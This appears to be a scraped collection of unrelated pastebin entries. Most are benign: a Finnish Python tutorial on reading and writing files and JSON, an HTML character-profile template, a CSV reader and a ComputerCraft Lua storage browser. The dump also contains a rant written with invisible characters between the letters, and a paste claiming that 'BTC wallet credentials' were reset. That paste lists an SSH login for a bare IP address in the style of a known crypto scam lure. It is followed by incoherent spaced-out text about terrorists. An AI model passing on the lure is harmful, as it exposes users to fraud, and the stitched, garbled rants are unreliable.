+B‎o‎b‎ ‎g‎i‎v‎e‎s‎ ‎h‎i‎s‎ ‎u‎n‎w‎a‎n‎t‎e‎d‎ ‎o‎p‎i‎n‎i‎o‎n‎s‎ ‎a‎b‎o‎u‎t‎ ‎s‎h‎i‎t‎ ‎n‎o‎b‎o‎d‎y‎ ‎c‎a‎r‎e‎s‎ ‎a‎b‎o‎u‎t‎.‎ ‎H‎e‎ ‎j‎u‎s‎t‎ ‎t‎a‎l‎k‎s‎ ‎a‎b‎o‎u‎t‎ ‎a‎n‎y‎t‎h‎i‎n‎g‎ ‎a‎n‎d‎ ‎e‎v‎e‎r‎y‎t‎h‎i‎n‎g‎,‎ ‎b‎u‎t‎ ‎m‎o‎s‎t‎l‎y‎ ‎a‎b‎o‎u‎t‎ ‎3‎0‎ ‎y‎e‎a‎r‎ ‎o‎l‎d‎ ‎c‎a‎r‎t‎o‎o‎n‎s‎ ‎a‎n‎d‎ ‎m‎o‎v‎i‎e‎s‎ ‎b‎e‎c‎a‎u‎s‎e‎ ‎t‎h‎e‎ ‎t‎i‎m‎e‎ ‎b‎e‎f‎o‎r‎e‎ ‎h‎i‎g‎h‎-‎s‎c‎h‎o‎o‎l‎ ‎w‎a‎s‎ ‎t‎h‎e‎ ‎o‎n‎l‎y‎ ‎h‎a‎p‎p‎y‎ ‎t‎i‎m‎e‎ ‎i‎n‎ ‎h‎i‎s‎ ‎l‎i‎f‎e‎ ‎b‎e‎f‎o‎r‎e‎ ‎i‎t‎ ‎m‎a‎d‎e‎ ‎h‎i‎m‎ ‎r‎e‎a‎l‎i‎z‎e‎ ‎w‎h‎a‎t‎ ‎a‎ ‎f‎a‎i‎l‎u‎r‎e‎ ‎h‎e‎ ‎i‎s‎.‎ ‎T‎h‎e‎ ‎r‎e‎s‎t‎ ‎o‎f‎ ‎h‎i‎s‎ ‎t‎i‎m‎e‎ ‎i‎s‎ ‎s‎p‎e‎n‎t‎ ‎u‎s‎i‎n‎g‎ ‎t‎o‎r‎t‎u‎r‎e‎d‎ ‎l‎o‎g‎i‎c‎ ‎t‎o‎ ‎e‎x‎p‎l‎a‎i‎n‎ ‎w‎h‎y‎ ‎t‎h‎i‎n‎g‎s‎ ‎h‎e‎ ‎l‎i‎k‎e‎s‎ ‎a‎r‎e‎ ‎o‎k‎a‎y‎,‎ ‎t‎h‎i‎n‎g‎s‎ ‎h‎e‎ ‎d‎i‎s‎l‎i‎k‎e‎s‎ ‎a‎r‎e‎ ‎b‎a‎d‎,‎ ‎c‎a‎s‎t‎i‎n‎g‎ ‎c‎o‎l‎o‎r‎e‎d‎ ‎c‎h‎a‎r‎a‎c‎t‎e‎r‎s‎ ‎w‎i‎t‎h‎ ‎w‎h‎i‎t‎e‎ ‎a‎c‎t‎o‎r‎s‎ ‎i‎s‎ ‎b‎a‎d‎ ‎b‎e‎c‎a‎u‎s‎e‎ ‎i‎t‎'‎s‎ ‎r‎a‎c‎i‎s‎t‎,‎ ‎c‎a‎s‎t‎i‎n‎g‎ ‎w‎h‎i‎t‎e‎ ‎c‎h‎a‎r‎a‎c‎t‎e‎r‎s‎ ‎w‎i‎t‎h‎ ‎b‎l‎a‎c‎k‎ ‎a‎c‎t‎o‎r‎s‎ ‎i‎s‎ ‎f‎i‎n‎e‎,‎ ‎c‎a‎s‎t‎i‎n‎g‎ ‎a‎n‎y‎t‎h‎i‎n‎g‎ ‎e‎l‎s‎e‎ ‎i‎s‎ ‎w‎r‎o‎n‎g‎ ‎b‎e‎c‎a‎u‎s‎e‎ ‎i‎t‎'‎s‎ ‎a‎g‎a‎i‎n‎s‎t‎ ‎t‎h‎e‎ ‎c‎a‎n‎o‎n‎ ‎(‎b‎u‎t‎ ‎o‎n‎l‎y‎ ‎w‎h‎e‎n‎ ‎h‎e‎ ‎d‎o‎e‎s‎n‎'‎t‎ ‎l‎i‎k‎e‎ ‎i‎t‎)‎,‎ ‎c‎e‎n‎s‎o‎r‎s‎h‎i‎p‎ ‎i‎s‎n‎'‎t‎ ‎c‎e‎n‎s‎o‎r‎s‎h‎i‎p‎ ‎w‎h‎e‎n‎ ‎i‎t‎'‎s‎ ‎d‎o‎n‎e‎ ‎b‎y‎ ‎p‎e‎o‎p‎l‎e‎ ‎h‎e‎ ‎a‎g‎r‎e‎e‎s‎ ‎w‎i‎t‎h‎ ‎b‎u‎t‎ ‎i‎s‎ ‎c‎e‎n‎s‎o‎r‎s‎h‎i‎p‎ ‎w‎h‎e‎n‎ ‎i‎t‎'‎s‎ ‎d‎o‎n‎e‎ ‎t‎o‎ ‎t‎h‎e‎m‎,‎ ‎J‎a‎c‎k‎ ‎T‎h‎o‎m‎p‎s‎o‎n‎ ‎w‎a‎s‎n‎'‎t‎ ‎t‎h‎a‎t‎ ‎b‎a‎d‎ ‎s‎o‎ ‎c‎o‎m‎p‎a‎r‎i‎n‎g‎ ‎h‎i‎m‎ ‎t‎o‎ ‎A‎n‎i‎t‎a‎ ‎i‎s‎n‎'‎t‎ ‎a‎n‎ ‎i‎n‎s‎u‎l‎t‎ ‎u‎n‎l‎e‎s‎s‎ ‎h‎e‎ ‎i‎n‎s‎u‎l‎t‎s‎ ‎A‎n‎i‎t‎a‎ ‎w‎h‎i‎c‎h‎ ‎i‎s‎ ‎w‎h‎e‎n‎ ‎h‎e‎'‎s‎ ‎s‎u‎d‎d‎e‎n‎l‎y‎ ‎b‎a‎d‎ ‎a‎g‎a‎i‎n‎ ‎i‎f‎ ‎p‎e‎o‎p‎l‎e‎ ‎a‎g‎r‎e‎e‎ ‎w‎i‎t‎h‎ ‎B‎o‎b‎'‎s‎ ‎o‎w‎n‎ ‎o‎p‎i‎n‎i‎o‎n‎ ‎t‎h‎a‎t‎ ‎h‎e‎ ‎w‎a‎s‎n‎'‎t‎ ‎t‎h‎a‎t‎ ‎b‎a‎d‎ ‎a‎n‎d‎ ‎d‎o‎x‎i‎n‎g‎ ‎i‎s‎ ‎o‎k‎a‎y‎ ‎b‎u‎t‎ ‎o‎n‎l‎y‎ ‎w‎h‎e‎n‎ ‎i‎t‎'‎s‎ ‎d‎o‎n‎e‎ ‎b‎y‎ ‎h‎i‎s‎ ‎f‎r‎i‎e‎n‎d‎s‎ ‎a‎n‎d‎ ‎n‎o‎t‎ ‎t‎o‎ ‎t‎h‎e‎m‎.‎ ‎A‎n‎d‎,‎ ‎s‎o‎m‎e‎h‎o‎w‎,‎ ‎i‎t‎'‎s‎ ‎b‎a‎c‎k‎ ‎o‎n‎ ‎E‎s‎c‎a‎p‎i‎s‎t‎'‎s‎ ‎c‎h‎a‎n‎n‎e‎l‎ + + +(‎(‎ ‎W‎I‎L‎L‎ ‎T‎H‎E‎ ‎'‎B‎E‎E‎T‎U‎S‎ ‎T‎A‎K‎E‎ ‎H‎I‎S‎ ‎T‎O‎E‎S‎?‎?‎ ‎T‎U‎N‎E‎ ‎I‎N‎ ‎N‎E‎X‎T‎ ‎W‎E‎E‎K‎ ‎T‎O‎ ‎F‎I‎N‎D‎ ‎O‎U‎T‎ ‎)‎)‎ + +.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎ + +T‎h‎e‎ ‎p‎i‎e‎d‎ ‎k‎i‎n‎g‎f‎i‎s‎h‎e‎r‎ ‎(‎C‎e‎r‎y‎l‎e‎ ‎r‎u‎d‎i‎s‎)‎ ‎i‎s‎ ‎a‎ ‎s‎p‎e‎c‎i‎e‎s‎ ‎o‎f‎ ‎w‎a‎t‎e‎r‎ ‎k‎i‎n‎g‎f‎i‎s‎h‎e‎r‎ ‎w‎i‎d‎e‎l‎y‎ ‎d‎i‎s‎t‎r‎i‎b‎u‎t‎e‎d‎ ‎a‎c‎r‎o‎s‎s‎ ‎A‎f‎r‎i‎c‎a‎ ‎a‎n‎d‎ ‎A‎s‎i‎a‎.‎ ‎O‎r‎i‎g‎i‎n‎a‎l‎l‎y‎ ‎d‎e‎s‎c‎r‎i‎b‎e‎d‎ ‎b‎y‎ ‎C‎a‎r‎l‎ ‎L‎i‎n‎n‎a‎e‎u‎s‎ ‎i‎n‎ ‎1‎7‎5‎8‎,‎ ‎i‎t‎ ‎h‎a‎s‎ ‎f‎i‎v‎e‎ ‎r‎e‎c‎o‎g‎n‎i‎s‎e‎d‎ ‎s‎u‎b‎s‎p‎e‎c‎i‎e‎s‎.‎ ‎I‎t‎s‎ ‎b‎l‎a‎c‎k‎ ‎a‎n‎d‎ ‎w‎h‎i‎t‎e‎ ‎p‎l‎u‎m‎a‎g‎e‎ ‎a‎n‎d‎ ‎c‎r‎e‎s‎t‎,‎ ‎a‎s‎ ‎w‎e‎l‎l‎ ‎a‎s‎ ‎i‎t‎s‎ ‎h‎a‎b‎i‎t‎ ‎o‎f‎ ‎h‎o‎v‎e‎r‎i‎n‎g‎ ‎o‎v‎e‎r‎ ‎c‎l‎e‎a‎r‎ ‎l‎a‎k‎e‎s‎ ‎a‎n‎d‎ ‎r‎i‎v‎e‎r‎s‎ ‎b‎e‎f‎o‎r‎e‎ ‎d‎i‎v‎i‎n‎g‎ ‎f‎o‎r‎ ‎f‎i‎s‎h‎,‎ ‎m‎a‎k‎e‎ ‎i‎t‎ ‎d‎i‎s‎t‎i‎n‎c‎t‎i‎v‎e‎.‎ ‎M‎a‎l‎e‎s‎ ‎h‎a‎v‎e‎ ‎a‎ ‎d‎o‎u‎b‎l‎e‎ ‎b‎a‎n‎d‎ ‎a‎c‎r‎o‎s‎s‎ ‎t‎h‎e‎ ‎b‎r‎e‎a‎s‎t‎,‎ ‎w‎h‎i‎l‎e‎ ‎f‎e‎m‎a‎l‎e‎s‎ ‎h‎a‎v‎e‎ ‎a‎ ‎s‎i‎n‎g‎l‎e‎ ‎b‎r‎o‎k‎e‎n‎ ‎b‎r‎e‎a‎s‎t‎ ‎b‎a‎n‎d‎.‎ ‎T‎h‎e‎y‎ ‎a‎r‎e‎ ‎u‎s‎u‎a‎l‎l‎y‎ ‎f‎o‎u‎n‎d‎ ‎i‎n‎ ‎p‎a‎i‎r‎s‎ ‎o‎r‎ ‎s‎m‎a‎l‎l‎ ‎f‎a‎m‎i‎l‎y‎ ‎g‎r‎o‎u‎p‎s‎.‎ ‎W‎h‎e‎n‎ ‎p‎e‎r‎c‎h‎e‎d‎,‎ ‎t‎h‎e‎y‎ ‎o‎f‎t‎e‎n‎ ‎b‎o‎b‎ ‎t‎h‎e‎i‎r‎ ‎h‎e‎a‎d‎ ‎a‎n‎d‎ ‎f‎l‎i‎c‎k‎ ‎u‎p‎ ‎t‎h‎e‎i‎r‎ ‎t‎a‎i‎l‎.‎ ‎T‎h‎i‎s‎ ‎m‎a‎l‎e‎ ‎p‎i‎e‎d‎ ‎k‎i‎n‎g‎f‎i‎s‎h‎e‎r‎ ‎o‎f‎ ‎t‎h‎e‎ ‎s‎u‎b‎s‎p‎e‎c‎i‎e‎s‎ ‎C‎.‎ ‎r‎.‎ ‎l‎e‎u‎c‎o‎m‎e‎l‎a‎n‎u‎r‎u‎s‎ ‎w‎a‎s‎ ‎p‎h‎o‎t‎o‎g‎r‎a‎p‎h‎e‎d‎ ‎b‎y‎ ‎t‎h‎e‎ ‎C‎h‎a‎m‎b‎a‎l‎ ‎R‎i‎v‎e‎r‎ ‎i‎n‎ ‎U‎t‎t‎a‎r‎ ‎P‎r‎a‎d‎e‎s‎h‎,‎ ‎I‎n‎d‎i‎a‎.‎ + +P‎h‎o‎t‎o‎g‎r‎a‎p‎h‎ ‎c‎r‎e‎d‎i‎t‎:‎ ‎C‎h‎a‎r‎l‎e‎s‎ ‎J‎.‎ ‎S‎h‎a‎r‎p‎ + +.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎ + +ר‎ק‎ ‎ר‎צ‎י‎ת‎י‎ ‎ש‎ת‎ד‎ע‎ו‎,‎ ‎א‎ל‎ו‎ה‎י‎ם‎ ‎י‎ב‎ר‎ך‎ ‎א‎ת‎ ‎א‎מ‎ר‎י‎ק‎ה‎!‎ ‎א‎נ‎י‎ ‎ה‎ו‎ל‎ך‎ ‎ל‎ש‎י‎ם‎ ‎ב‎ו‎נ‎ה‎ ‎ב‎ס‎י‎ר‎ ‎ל‎ח‎ץ‎" +i4QL5VEa,Untitled,tuomasvaltanen,Python,Tuesday 14th of November 2023 08:37:01 AM CDT,"# Johdatus ohjelmointiin, 14.11.2023, tiedostojen käsittely Pythonilla +print(""Tervetuloa!"") + +# UUSI TEKSTITIEDOSTO - weekdays.txt + +Maanantai +Tiistai +Keskiviikko +Torstai +Perjantai +Lauantai +Sunnuntai + +# UUSI TIEDOSTO + +# aukaistaan yhteys tiedostoon +file_handle = open(""weekdays.txt"", ""r"") + +# luetaan tiedoston sisältö muuttujaan +# => tietotyyppi on string +content = file_handle.read() + +# suljetaan varmuuden vuoksi yhteys tiedostoon +file_handle.close() + +print(content) + +# UUSI TIEDOSTO + +# aukaistaan yhteys tiedostoon +file_handle = open(""weekdays.txt"", ""r"") + +# tehdään juokseva rivinumero +counter = 1 + +# puretaan tiedoston sisältöä rivi kerrallaan +# niin kauan kuin sitä vielä on jäljellä +# jos tiedostossa on 100 riviä, tämä koodi +# ajetaan 100 kertaa +while True: + # haetaan seuraava rivi ja tulostetaan + line = file_handle.readline() + print(f""{counter}. {line}"") + + # kasvatetaan laskurimuuttujaa + counter = counter + 1 + + # jos rivit loppuivat tiedostosta => break + if not line: + break + +# suljetaan varmuuden vuoksi yhteys tiedostoon +file_handle.close() + +# UUSI TIEDOSTO + +# aukaistaan yhteys tiedostoon +file_handle = open(""weekdays.txt"", ""r"") + +# luetaan tiedoston sisältö muuttujaan +# => tietotyyppi on string +content = file_handle.read() + +# suljetaan varmuuden vuoksi yhteys tiedostoon +file_handle.close() + +# muutetaan content -> listaksi string-muuttujia +lines = content.split(""\n"") + +# tulostetaan lista läpi +for line in lines: + print(line) + +print() + +# koska lines on ihan tavallinen lista, kaikki vanhat opit käyvät +amount = len(lines) + +# tulostetaan numeroitu lista niinkuin ennenkin +# (materiaalit -> toistolauseet, sivu 62 +for index in range(amount): + line = lines[index] + print(f""{index + 1}. {line}"") + +# UUSI TIEDOSTO + +# aukaistaan yhteys tiedostoon -> kirjoitusmoodi -> w +# huolehditaan encoding-parametrilla että kaikki +# osapuolet käyttävät UTF-8 -formaattia +# Windows-koneet ja esim. tietokantapalvelut joskus +# käyttävät oletuksena Latin1 / ANSI -formaattia +# ja ääkköset voivat toimia hassusti ristiin +file_handle = open(""muistio.txt"", ""w"", encoding=""utf-8"") + +# kysytään käyttäjältä tallennettava teksti +text = input(""Anna jotain tekstiä:\n"") + +# kirjoitetaan tiedostoon käyttäjän antama teksti +file_handle.write(text) + +# suljetaan varmuuden vuoksi yhteys tiedostoon +file_handle.close() + +# UUSI TIEDOSTO - a-moodi -> append + +# aukaistaan yhteys tiedostoon -> kirjoitusmoodi -> a +# huolehditaan encoding-parametrilla että kaikki +# osapuolet käyttävät UTF-8 -formaattia +# Windows-koneet ja esim. tietokantapalvelut joskus +# käyttävät oletuksena Latin1 / ANSI -formaattia +# ja ääkköset voivat toimia hassusti ristiin +file_handle = open(""muistio.txt"", ""a"", encoding=""utf-8"") + +# kysytään käyttäjältä tallennettava teksti +text = input(""Anna jotain tekstiä:\n"") + +# appendin avulla aiempaa sisältöä ei pyyhitä pois +# vaan lisätään vanhan perään +# jos haluat kaikki uudet viestit omille riveilleen + +# lisää perään myös \n + +# kirjoitetaan tiedostoon käyttäjän antama teksti +file_handle.write(text + ""\n"") + +# suljetaan varmuuden vuoksi yhteys tiedostoon +file_handle.close() + +# TEHDÄÄN UUSI TIEDOSTO: app_data.json: + +{ + ""name"":""Rovaniemi"", + ""population"":62933, + ""county"":""Lappi"" +} + +# UUSI TIEDOSTO + +import json +# import var_dump as vd + +file_handle = open(""app_data.json"", ""r"") +content = file_handle.read() +file_handle.close() + +# muutetaan JSON-data (tekstiä) -> Python-dataksi +# => json.loads() +city = json.loads(content) + +# koska city on nyt oikea Python dictionary +# => tulostetaan pari kenttää testimielessä +print(city['name']) +print(city['population']) + +# jos haluat vertailla datatyyppejä +# JSON vs Python-data: +# vd.var_dump(content) +# vd.var_dump(city) + +# UUSI TIEDOSTO + +import json + +# Python dictionary, esim. puhelin +phone = { + ""name"": ""Nokia 3310"", + ""release_year"": 2000, + ""battery"": ""1000mAh"", + ""camera"": False, + ""weight"": 133 +} + +# Python data => muutetaan JSON-formaattiin (eli tekstiksi) +# Huom: tekstin voi tallentaa tiedostoon, +# Python dataa ei voi suoraan tallentaa +content = json.dumps(phone) + +# koska content on nyt JSON -tekstiä +# => tallennetaan tiedostoon +file_handle = open(""nokiaphone.json"", ""w"") +file_handle.write(content) +file_handle.close() + +print(""Kiitos puhelimen tallentamisesta!"") + +# UUSI TEKSTITIEDOSTO : cities.json: + +[ + { + ""name"":""Rovaniemi"", + ""population"":62933, + ""county"":""Lappi"" + }, + { + ""name"":""Oulu"", + ""population"":199526, + ""county"":""Pohjois-Pohjanmaa"" + }, + { + ""name"":""Helsinki"", + ""population"":631695, + ""county"":""Uusimaa"" + } +] + +# UUSI TIEDOSTO + +import json + +# luetaan cities.json muuttujaan +file_handle = open(""cities.json"", ""r"") +content = file_handle.read() +file_handle.close() + +# muutetaan data JSON-formaatista => Python-dataksi +# käytännössä tämä data tuottaa listan dictionaryjä +cities = json.loads(content) + +# silmukalla läpi ja tulostetaan kaupunkien tiedot +# yksi kaupunki kerrallaan +for city in cities: + print(city['name']) + print(city['county']) + print(city['population']) + print() + +# UUSI TIEDOSTO +# MONIMUTKAISEMPI ESIMERKKI, JOSSA TALLENNETAAN JSON-TIEDOSTOON UUTTA DATAA + +import json + +# luetaan cities.json muuttujaan +file_handle = open(""cities.json"", ""r"", encoding=""utf-8"") +content = file_handle.read() +file_handle.close() + +# muutetaan data JSON-formaatista => Python-dataksi +# käytännössä tämä data tuottaa listan dictionaryjä +cities = json.loads(content) + +# silmukalla läpi ja tulostetaan kaupunkien tiedot +# yksi kaupunki kerrallaan +for city in cities: + print(city['name']) + print(city['county']) + print(city['population']) + print() + +# VAIHE 2: kysytään käyttäjältä uuden kaupungin tiedot +new_city_name = input(""Anna uuden kaupungin nimi:\n"") +new_city_county = input(""Anna uuden kaupungin maakunta:\n"") +new_city_population = input(""Anna uuden kaupungin asukasluku:\n"") +new_city_population = int(new_city_population) + +# rakennetaan uuden kaupungin DICTIONARY ylläolevista muuttujista! +new_city = { + ""name"": new_city_name, + ""population"": new_city_population, + ""county"": new_city_county +} + +# koska cities on Python-lista, voidaan uusi kaupunki lisätä +# listan perälle append()-funktion avulla +cities.append(new_city) + +# VAIHE 3: muutetaan cities-lista (joka koostuu dictionaryistä) +# json-moduulilla Python-datasta => JSON-tekstiksi + +# kaikki muutokset on tallennettu cities-listaan +# joten voimme jyrätä vanhan tiedoston yli +# tällä uudella data-versiolla + +# luodaan Python-datasta JSON-tekstiversio => +json_data = json.dumps(cities) + +# avataan tiedosto kirjoitusmoodissa ""w"" +# ja tallennetaan uusi data vanhan päälle +# HUOM: append-moodia (a) ei voi käyttää JSONin kanssa +# koska JSONin datarakenne (JSONin syntaksi) menee rikki +file_handle = open(""cities.json"", ""w"", encoding=""utf-8"") +file_handle.write(json_data) +file_handle.close() + +print(""Uusi kaupunki tallennettu onnistuneesti"")" +MWXn9D0U,Cards Nova,circlejourney,HTML,Tuesday 14th of November 2023 08:32:01 AM CDT," + +
+ + +
+
+ +
+ + + + + +
+ Character's Name +
+
+ +
+
+
+
Also known as
+
Character's aliases, Lorem ipsum dolor sit amet, consectetur adipiscing elit
+
+
+
Age
+
Character's age here
+
+
+
Pronouns
+
Character's pronouns here
+
+
+
Detail
+
Insert additional detail
+
+
+
+ +
+ Adjective • Adjective • Adjective +
+ + + + + + + +
Cards Nova by Circlejourney +
+ +
+
+ + +
+ + +
Put additional notes/warnings about the character here if you like. You can also delete this div if you have nothing to include. +
+ + + +
+ +
+ + + +
+ + +
+ +
+ Personality +
+ +
+ + + + +

Describe the character's personality here. I tend to think of it as a place to describe first impressions, but feel free to change the header to something like ""summary"" if you prefer.

+ +

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut molestie eros nec iaculis tristique. Integer malesuada scelerisque elit, nec viverra leo ultricies sed. Morbi eget vehicula dui, volutpat consectetur metus. Mauris non tincidunt sapien. Vestibulum metus nisl, facilisis eget sollicitudin elementum, accumsan nec sapien. Suspendisse porttitor nisi sit amet nibh vehicula ultrices.

+ +

Curabitur interdum diam justo. Nulla lacinia elementum enim, at molestie nisi accumsan eget. Fusce at sem viverra, volutpat mauris sit amet, imperdiet diam. Aenean metus ante, consequat eu enim ut, tristique placerat magna. Vestibulum nec tempus nibh.

+ + +
+
+
Likes
+ Like
+ Lorem ipsum dolor sit amet
+ Like +
+
+
Dislikes
+ Lorem ipsum dolor sit amet
+ Dislike
+ Dislike +
+
+ +

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut molestie eros nec iaculis tristique. Integer malesuada scelerisque elit, nec viverra leo ultricies sed. Morbi eget vehicula dui, volutpat consectetur metus. Mauris non tincidunt sapien. Vestibulum metus nisl, facilisis eget sollicitudin elementum, accumsan nec sapien. Suspendisse porttitor nisi sit amet nibh vehicula ultrices.

+ +

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut molestie eros nec iaculis tristique. Integer malesuada scelerisque elit, nec viverra leo ultricies sed. Morbi eget vehicula dui, volutpat consectetur metus. Mauris non tincidunt sapien. Vestibulum metus nisl, facilisis eget sollicitudin elementum, accumsan nec sapien. Suspendisse porttitor nisi sit amet nibh vehicula ultrices.

+
+
+ + +
+ +
+ Story +
+ +
+

A tab for a more detailed description of the character and their past. As always, feel free to change the header.

+

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut molestie eros nec iaculis tristique. Integer malesuada scelerisque elit, nec viverra leo ultricies sed. Morbi eget vehicula dui, volutpat consectetur metus. Mauris non tincidunt sapien. Vestibulum metus nisl, facilisis eget sollicitudin elementum, accumsan nec sapien. Suspendisse porttitor nisi sit amet nibh vehicula ultrices.

+

Curabitur interdum diam justo. Nulla lacinia elementum enim, at molestie nisi accumsan eget. Fusce at sem viverra, volutpat mauris sit amet, imperdiet diam. Aenean metus ante, consequat eu enim ut, tristique placerat magna. Vestibulum nec tempus nibh.

+
+

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis sollicitudin elit sed tellus blandit viverra sed eget odio. Donec accumsan tempor lacus, et venenatis elit feugiat non. Duis porta eros et velit blandit dapibus. Curabitur ac finibus eros. Duis placerat velit vitae massa sodales, eget mattis nibh pellentesque.

+
+
+ + +
+ +
+ Relationships +
+ +
+
+ +
+ Description of the relationship. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis sollicitudin elit sed tellus blandit viverra sed eget odio. Donec accumsan tempor lacus, et venenatis elit feugiat non. Duis porta eros et velit blandit dapibus. Curabitur ac finibus eros. Duis placerat velit vitae massa sodales, eget mattis nibh pellentesque. +
+
+
+ +
+ Description of the relationship. +
+
+
+
+ + +
+ +
+ Facts +
+ +
+
    +
  • Trivia 1. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis sollicitudin elit sed tellus blandit viverra sed eget odio. Donec accumsan tempor lacus, et venenatis elit feugiat non. Duis porta eros et velit blandit dapibus. Curabitur ac finibus eros. Duis placerat velit vitae massa sodales, eget mattis nibh pellentesque.
  • +
  • Trivia 2.
  • +
+
+
+ +
+ + +
+
+
" +pt8MBWTQ,Untitled,DeividasBalysevas,JavaScript,Tuesday 14th of November 2023 08:25:04 AM CDT,"" +0hAuqVh6,Untitled,DeividasBalysevas,JavaScript,Tuesday 14th of November 2023 08:23:09 AM CDT," + + + + +" +Cev16cCb,CSV File Reader,UF6,Python,Tuesday 14th of November 2023 08:16:57 AM CDT,"import csv + +def read_csv_file(file_path): + try: + with open(file_path, 'r', newline='') as file: + reader = csv.reader(file) + for row in reader: + print(row) # Modify this to suit your specific needs (e.g., process or manipulate the data) + except FileNotFoundError: + print(""File not found. Please provide a valid file path."") + +# Replace 'file_path.csv' with the path to your CSV file +file_path = 'B5 segmentSummary (1).csv' +read_csv_file(file_path)" +6cYPt5Xk,enchantBroswer,Lanzr,Lua,Tuesday 14th of November 2023 08:15:42 AM CDT,"local sc = peripheral.find(""sophisticatedstorage:controller"") +local sto = peripheral.find(""sophisticatedstorage:barrel"") +local scSide = ""left"" +local stoSide = ""right"" + +local mw = 51 +local mh = 16 + +local topBar = window.create(term.current(),1 ,1 ,mw,1) +local win = window.create(term.current(), 1,2,mw,mh) + +local pageIndex = 0 +local inPageIndex = 0 +local pageCount = 0 +local itemCount = 0 +local winNormColor = { + font = colors.black, + bg = colors.lime +} + +local winFocusColor = { + font = colors.gray, + bg = colors.pink +} + +topBar.setBackgroundColor(colors.orange) +topBar.setTextColor(colors.white) +win.setBackgroundColor(winNormColor.bg) +win.setTextColor(winNormColor.font) + +local nList = {} + + +local function paraseCMD() + +end + +local function renewTopBar() + local str = string.format(""%3d/%3d size:%d"",pageIndex,pageCount,itemCount) + topBar.clear() + topBar.setCursorPos(1,1) + topBar.write(str) +end + +-- index, name +local winList = {} + +local function renewWindow() + win.clear() + local s = 0 + for i,j in pairs(winList) do + win.setCursorPos(1,i) + if(i == inPageIndex) then + win.setBackgroundColor(winFocusColor.bg) + win.setTextColor(winFocusColor.font) + win.clearLine() + else + win.setBackgroundColor(winNormColor.bg) + win.setTextColor(winNormColor.font) + end + + win.write(string.sub(j[2],s)) + end + win.setBackgroundColor(winNormColor.bg) + win.setTextColor(winNormColor.font) +end +local function re_scan() + tList = sc.list() + -- for i,j in pairs(tList) do + -- table.insert(nList,{i, j.name}) + -- end + local item = nil + local enchants = {} + for i,j in pairs(tList) do + if(string.match(j.name,""minecraft:enchanted_book"")~=nil) then + item = sc.getItemDetail(i) + enchants = item.enchantments + for o,k in pairs(enchants) do + table.insert(nList,{i, k.displayName}) + end + end + end + -- for i,j in pairs(nList) do + -- if(j[2] == nil ) then + -- table.remove(nList,i) + -- end + -- end + itemCount = table.getn(nList) + pageCount = itemCount / mh + 1 + pageIndex = 1 + inPageIndex = 1 +end + +local function sub_scan() + +end + +local function pageChange() + winList = {} + local listSize = 0 + if (pageIndex == pageCount) then + listSize = itemCount % mh + else listSize = mh end + local pos = pageIndex * (mh-1) + for i=1,listSize,1 do + repeat + pos = pos + 1 + if(listSize ~= mh) then + break + end + until(nList[pos]~=nil) + table.insert(winList,{nList[pos][1], nList[pos][2]}) + end +end + +local function List_move() + local pos = winList[inPageIndex][1] + sc.pushItems(stoSide,pos) + for i,j in pairs(nList) do + if(j[1] == pos) then + table.remove(nList,i) + end + end + -- table.remove(nList,pageIndex * mh + inPageIndex) + itemCount = table.getn(nList) + pageCount = (itemCount - itemCount % mh) / mh -1 + if(pageIndex >= pageCount) then + pageIndex = pageCount + if(inPageIndex <= itemCount % mh) then + inPageIndex = itemCount % mh + end + end + pageChange() + renewTopBar() + renewWindow() +end + +local function init() + re_scan() + -- gen winList + pageChange() + + renewTopBar() + renewWindow() +end + +local function mainloop() +term.clear() +init() +while true do + term.setCursorPos(1,18) + term.setTextColour(colors.white) + local cmd = io.read() + term.clearLine() + term.write(winList[inPageIndex][1]) + term.write(winList[inPageIndex][2]) + List_move() + +end +end +local keyMap = { + [""end""]=(function () + if(inPageIndex < mh) then + inPageIndex = inPageIndex + 1 + renewWindow() + end + end), + [""home""]=(function () + if(inPageIndex > 1) then + inPageIndex = inPageIndex - 1 + renewWindow() + end + end), + [""pageUp""]=(function () + if(pageIndex > 1) then + inPageIndex = 1 + pageIndex = pageIndex - 1 + pageChange() + renewTopBar() + renewWindow() + end + end), + [""pageDown""]=(function () + if(pageIndex < pageCount) then + inPageIndex = 1 + pageIndex = pageIndex + 1 + pageChange() + renewTopBar() + renewWindow() + end + end), +} + +local function key_check() +while true do + local event, key, isHeld = os.pullEvent(""key"") + local kvalue = keys.getName(key) + if(keyMap[kvalue]~= nil) then + keyMap[kvalue]() + term.setTextColour(colors.white) + term.setCursorPos(1,18) + end +end +end +parallel.waitForAny(mainloop,key_check) +" +N6mv9Hm4,BTC Wallet Credentials have been reset °,miscln,GetText,Tuesday 14th of November 2023 08:04:38 AM CDT,"Dear User +We have received a request to reset the login information for your Bitcoin wallet. If you did not make this request, please contact us immediately. + +Your new login credentials will be: +josli45:KoE3dG1 on 159.223.212.34 +You can connect via SSH. + +Regards +BT179829 + +__END__ + +S h a l o m ! f r o m c u r r e n t g e r m a n y . +D o n o t n e g o t i a t e w i t h l o c a l t e r r o r i s t s , b e w a r e f r o m m i s i n f o r m a t i o n b y i n c o r e a n t i j e w i s h a n t i a m e r i c a n m i s i n f o r m e r s f a l s e i m p e r s o n a t o r s . i r e p o r t e d a n d n a m e d c r i m i n a l s a s i k n o w t h e i r i d e n t i t i e s d e n u n c i a t e t h e m a l l . e . g . k a p o k z s a d i s t "" m i c h a e l k r a h "" +* +S h a l o m ! f r o m c u r r e n t g e r m a n y ! + +h t t p s : / / w w w . i s r a e l d e f e n s e . c o . i l / e n / c o n t e n t / c o n t a c t - u s +S h a l o m ! _ _ D A T A _ _ +I T I S F O R B I D D E N T O F I L M - R E C O R D M E . M Y I M A G E S O U N D B I O D A T A I D E N T I T Y A R E M Y P R I V A T E P R O P E R T I E S P R O T E C T E D A S S U C H B Y S T A T E S ' L A W S A N D C O N S T I T U T I O N S I N T E R N A T I O N A L L Y F O R A L L T I M E S . +T H E T E R R O R I S T S A N D A N A L P H A B E T I C A L V U L G A R S : N O T A C A D E M I C A L P E R S O N S 